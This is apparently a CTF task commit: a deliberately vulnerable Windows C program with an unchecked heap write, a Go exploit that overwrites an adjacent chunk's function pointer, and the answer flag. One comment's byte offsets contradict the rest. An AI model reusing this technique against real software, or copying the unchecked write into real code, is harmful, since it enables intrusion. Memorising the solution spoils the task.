v0.1 - initial commit

This commit is contained in:
2026-07-18 21:37:15 +03:00
commit 9b89f4cb8e
153 changed files with 22887 additions and 0 deletions
+1
View File
@@ -0,0 +1 @@
flag{adjacent_chunk_overflow}
Binary file not shown.
+127
View File
@@ -0,0 +1,127 @@
/*
Solve script for heap_overflow.exe: adjacent-chunk NT Heap overflow.
Heap layout (both Notes allocated from the same private heap, no LFH):
HEADER(16) note[0].buf[24] note[0].action(8)
HEADER(16) note[1].buf[24] note[1].action(8)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Each HEADER is a 16-byte _HEAP_ENTRY, XOR-encoded against _HEAP.Encoding.
We overwrite it as part of the overflow, but since we never call HeapFree
on note[1] after the overflow (just directly call note[1]->action), the
corrupted header is never read back by the allocator.
The W command writes hex-decoded bytes starting at note[id]->buf with NO
bounds check. Overflowing 72 bytes from note[0]->buf reaches note[1]->action:
note[0]->buf [0..23] 24 bytes -- fill with padding
note[0]->action [24..31] 8 bytes -- overwrite (any value, not called)
note[1] HEADER [32..47] 16 bytes -- corrupted, doesn't matter (not freed)
note[1]->buf [48..71] 24 bytes -- overwrite (any value, not called via action)
note[1]->action [72..79] 8 bytes -- WIN: write win() address here
Total: 80 bytes; win() address at bytes 72-79 (little-endian).
After the overflow: C 1 calls note[1]->action(note[1]->buf) -> win().
win() address comes from PE export table (no ASLR to defeat -- or if running
remotely, parse from the provided binary the same way examples/heap_lfh does).
NOTE FOR TASK AUTHORS: the key empirical invariant to verify is that notes[0]
and notes[1] are actually adjacent with no free chunk between them. With
exactly two 32-byte allocations and a fresh HeapCreate(0,0,0), this holds
reliably on build 10.0.26100. Check with `winpwn heap <pid> -walk` and look
for an adjacent busy pair at distance 0x30 (48 bytes = 16 header + 32 data).
The _HEAP_ENTRY header in between is XOR-encoded but the overflow just
overwrites it with garbage -- that's fine because we never HeapFree note[1].
*/
package main
import (
"bytes"
"fmt"
"log"
"strconv"
"winpwn"
)
func parseAddr(line []byte) (uint64, error) {
idx := bytes.Index(line, []byte("addr=0x"))
if idx == -1 {
return 0, fmt.Errorf("no addr= in %q", line)
}
return strconv.ParseUint(string(bytes.TrimSpace(line[idx+7:])), 16, 64)
}
func main() {
pf, err := winpwn.OpenPE("heap_overflow.exe")
if err != nil {
log.Fatalf("OpenPE: %v", err)
}
winRVA, err := pf.GetProcAddress("win")
if err != nil {
log.Fatalf("win() not found: %v", err)
}
base, err := pf.ImageBase()
if err != nil {
log.Fatalf("ImageBase: %v", err)
}
winAddr := base + winRVA
pf.Close()
fmt.Printf("[+] win() @ 0x%X\n", winAddr)
tube, err := winpwn.Spawn("heap_overflow.exe")
if err != nil {
log.Fatalf("Spawn: %v", err)
}
if _, err := tube.RecvLine(); err != nil { // "heap_overflow ready"
log.Fatalf("RecvLine: %v", err)
}
// Step 1: allocate two notes consecutively -> they will be adjacent
for _, text := range []string{"A note0", "A note1"} {
if err := tube.SendLine([]byte(text)); err != nil {
log.Fatalf("SendLine %s: %v", text, err)
}
resp, err := tube.RecvLine()
if err != nil {
log.Fatalf("RecvLine: %v", err)
}
addr, _ := parseAddr(resp)
fmt.Printf("[+] %s\n", bytes.TrimSpace(resp))
_ = addr
}
// Step 2: overflow note[0]->buf into note[1]->action
//
// Payload layout (80 bytes total):
// bytes 0-23: 'A'*24 (fills note[0]->buf)
// bytes 24-31: 'B'*8 (overwrites note[0]->action -- value doesn't matter)
// bytes 32-47: 'C'*16 (overwrites note[1]'s _HEAP_ENTRY header -- doesn't matter, not freed)
// bytes 48-71: 'D'*24 (overwrites note[1]->buf -- doesn't matter, just read as string)
// bytes 72-79: win() (overwrites note[1]->action -- THIS is what we call)
//
payload := bytes.Repeat([]byte{0x41}, 24) // note[0]->buf
payload = append(payload, bytes.Repeat([]byte{0x42}, 8)...) // note[0]->action
payload = append(payload, bytes.Repeat([]byte{0x43}, 16)...) // note[1] header
payload = append(payload, bytes.Repeat([]byte{0x44}, 24)...) // note[1]->buf
payload = append(payload, winpwn.P64(winAddr)...) // note[1]->action
fmt.Printf("[+] overflow payload: %d bytes, win() @ offset 72\n", len(payload))
overflow := "W 0 " + winpwn.Enhex(payload)
if err := tube.SendLine([]byte(overflow)); err != nil {
log.Fatalf("SendLine W: %v", err)
}
if _, err := tube.RecvLine(); err != nil { // "OK"
log.Fatalf("RecvLine W resp: %v", err)
}
fmt.Printf("[+] overflow written, note[1]->action now points to win()\n")
// Step 3: call note[1]->action -> win()
fmt.Printf("[+] calling C 1...\n")
if err := tube.SendLine([]byte("C 1")); err != nil {
log.Fatalf("SendLine C: %v", err)
}
tube.Interactive()
}
+172
View File
@@ -0,0 +1,172 @@
/*
heap_overflow -- adjacent-chunk heap overflow on NT Heap backend.
Two Note objects allocated consecutively on a clean NT Heap segment (no LFH
activation for this allocation count -- only 2-3 objects total per exploit
run). Each Note is:
Note { char buf[24]; void(*action)(const char*); } = 32 bytes
The overflow site: command W <id> <hex> writes hex-decoded bytes starting at
note[id]->buf with NO bounds check on the hex length. A write longer than 24
bytes spills into note[id]->action (the function pointer), and if longer still,
spills across the 16-byte NT _HEAP_ENTRY header into the next note's buf and
eventually its action pointer too.
Layout on the heap (addresses relative to note[0]'s HEADER start):
+0x00 _HEAP_ENTRY header (16 bytes, XOR-encoded -- we don't need to care,
we're not freeing note[1] after the overflow)
+0x10 note[0]->buf [0..23] (24 bytes)
+0x28 note[0]->action [24..31] (8 bytes, function pointer)
+0x30 _HEAP_ENTRY header for note[1] (16 bytes, gets corrupted -- OK)
+0x40 note[1]->buf [0..23]
+0x58 note[1]->action [24..31] <-- target: 0x48 bytes from note[0]->buf
So writing 0x48 = 72 bytes from note[0]->buf, with win()'s address in bytes
64-71 (0-indexed from note[0]->buf), overwrites note[1]->action.
Then command C 1 calls note[1]->action -- attacker lands at win().
Protocol (one command per line, stdout unbuffered):
A <text> allocate Note{buf=text (truncated to 23 chars), action=real_action}.
-> "OK id=<n> addr=0x<hex>"
W <id> <hex> write hex bytes starting at note[id]->buf -- NO BOUNDS CHECK.
-> "OK"
C <id> call note[id]->action(note[id]->buf).
Q quit.
NOTE FOR TASK AUTHORS: the critical constraint is that notes[0] and notes[1]
must end up adjacent in the heap (no gap). With HeapCreate(0,0,0) and exactly
two 32-byte allocations with no interleaving frees, they are reliably adjacent
on the NT Heap backend on this build. If you increase the note struct size or
add other allocations between them, verify adjacency with the winpwn heap CLI:
`winpwn heap <pid> -walk` and look for "adjacent busy pairs". Also: the
_HEAP_ENTRY header between them uses XOR encoding and gets corrupted by the
overflow, but since we call action directly (no subsequent HeapFree on note[1]),
the corrupted header is never read back by the allocator -- so the exploit
works even though the header is garbage after the write.
*/
#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
typedef struct {
char buf[24];
void (*action)(const char *);
} Note;
#define MAX_NOTES 256
static Note *g_notes[MAX_NOTES];
static int g_note_count = 0;
static HANDLE g_heap;
static void real_action(const char *buf) {
printf("note: %s\n", buf);
fflush(stdout);
}
__declspec(dllexport) void win(const char *ignored) {
HANDLE hFile;
char buffer[256];
DWORD bytesRead;
printf("heap overflow worked -- adjacent chunk action pointer corrupted\n");
fflush(stdout);
hFile = CreateFileA("flag.txt", GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("Cannot open flag.txt\n");
fflush(stdout);
ExitProcess(0);
}
if (ReadFile(hFile, buffer, sizeof(buffer) - 1, &bytesRead, NULL) && bytesRead > 0) {
buffer[bytesRead] = '\0';
printf("%s", buffer);
fflush(stdout);
}
CloseHandle(hFile);
ExitProcess(0);
}
static int hexval(char c) {
if (c >= '0' && c <= '9') return c - '0';
if (c >= 'a' && c <= 'f') return c - 'a' + 10;
if (c >= 'A' && c <= 'F') return c - 'A' + 10;
return -1;
}
static int unhex(const char *hex, unsigned char *out, int maxout) {
int n = (int)strlen(hex);
if (n % 2 != 0 || n / 2 > maxout) return 0;
for (int i = 0; i < n / 2; i++) {
int hi = hexval(hex[i * 2]);
int lo = hexval(hex[i * 2 + 1]);
if (hi < 0 || lo < 0) return 0;
out[i] = (unsigned char)((hi << 4) | lo);
}
return n / 2;
}
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
/* Private heap, no LFH -- guaranteed backend allocation ordering */
g_heap = HeapCreate(0, 0, 0);
if (!g_heap) {
printf("HeapCreate failed\n");
return 1;
}
printf("heap_overflow ready\n");
char line[1024];
while (fgets(line, sizeof(line), stdin)) {
line[strcspn(line, "\r\n")] = 0;
if (line[0] == 'A' && line[1] == ' ') {
if (g_note_count >= MAX_NOTES) { printf("ERR too many\n"); continue; }
Note *n = (Note *)HeapAlloc(g_heap, 0, sizeof(Note));
if (!n) { printf("ERR alloc\n"); continue; }
memset(n->buf, 0, sizeof(n->buf));
strncpy(n->buf, line + 2, sizeof(n->buf) - 1);
n->action = real_action;
int id = g_note_count++;
g_notes[id] = n;
printf("OK id=%d addr=0x%p\n", id, (void *)n);
} else if (line[0] == 'W' && line[1] == ' ') {
int id;
char hexbuf[513];
if (sscanf(line + 2, "%d %512s", &id, hexbuf) != 2) {
printf("ERR usage: W <id> <hex>\n"); continue;
}
if (id < 0 || id >= g_note_count || !g_notes[id]) {
printf("ERR bad id\n"); continue;
}
unsigned char raw[256];
int n = unhex(hexbuf, raw, sizeof(raw));
if (n == 0) { printf("ERR bad hex\n"); continue; }
/* THE BUG: no check that n <= sizeof(Note) */
memcpy(g_notes[id]->buf, raw, n);
printf("OK\n");
} else if (line[0] == 'C' && line[1] == ' ') {
int id = atoi(line + 2);
if (id < 0 || id >= g_note_count || !g_notes[id]) {
printf("ERR bad id\n"); continue;
}
g_notes[id]->action(g_notes[id]->buf);
} else if (line[0] == 'Q') {
break;
} else {
printf("ERR unknown command\n");
}
fflush(stdout);
}
return 0;
}